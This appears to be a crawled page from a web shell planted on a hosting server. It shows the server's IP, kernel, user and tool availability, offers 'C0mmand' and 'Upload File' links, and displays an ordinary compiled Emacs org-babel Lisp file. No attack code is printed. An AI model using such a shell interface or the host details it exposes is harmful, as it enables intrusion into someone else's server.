|
Server IP : 111.118.215.189 / Your IP : 18.117.158.174 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/emacs/24.3/lisp/org/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
;ELC
;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:06:40 2024
;;; from file /builddir/build/BUILD/emacs-24.3/lisp/org/ob-emacs-lisp.el
;;; in Emacs version 24.3.1
;;; with all optimizations.
;;; This file uses dynamic docstrings, first added in Emacs 19.29.
;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(require 'ob)
#@62 Default arguments for evaluating an emacs-lisp source block.
(defvar org-babel-default-header-args:emacs-lisp '((:hlines . "yes") (:colnames . "no")) (#$ . 574))
#@60 Expand BODY according to PARAMS, return the expanded body.
(defalias 'org-babel-expand-body:emacs-lisp #[(body params) "\306\307\310\311\"\"\312\313\"A\314\211 G\315V\203' \316\317\320 \321#\322
\323\260\202*
\324P \325\n\235\2047 \326\n\235\203> \327
\330Q\202?
-\207" [params vars result-params print-level print-length body mapcar cdr org-babel-get-header :var assoc :result-params nil 0 "(let (" mapconcat #[(var) "\301\302\303@\304ADD!\"\207" [var format "%S" print quote] 6] "\n " ")\n" "\n)" "\n" "code" "pp" "(pp " ")"] 6 (#$ . 742)])
#@48 Execute a block of emacs-lisp code with Babel.
(defalias 'org-babel-execute:emacs-lisp #[(body params) "\306 \307\216\310\311\312\313\314\315 \"A\235\203 \316\202 \317\320\n \"\"!!\321\314\315 \"A\235\2043 \322\314\315 \"A\235\203? \323\211 \312\324 \"*\202Z \325 \326\314\327 \"A\314\330 \"A\"\326\314\331 \"A\314\332 \"A\"#+\207" [#1=#:wconfig params body result print-length print-level current-window-configuration ((set-window-configuration #1#)) eval read format "output" assoc :result-params "(with-output-to-string %s)" "(progn %s)" org-babel-expand-body:emacs-lisp "scalar" "verbatim" nil "%S" org-babel-reassemble-table org-babel-pick-name :colname-names :colnames :rowname-names :rownames] 8 (#$ . 1307)])
(provide 'ob-emacs-lisp)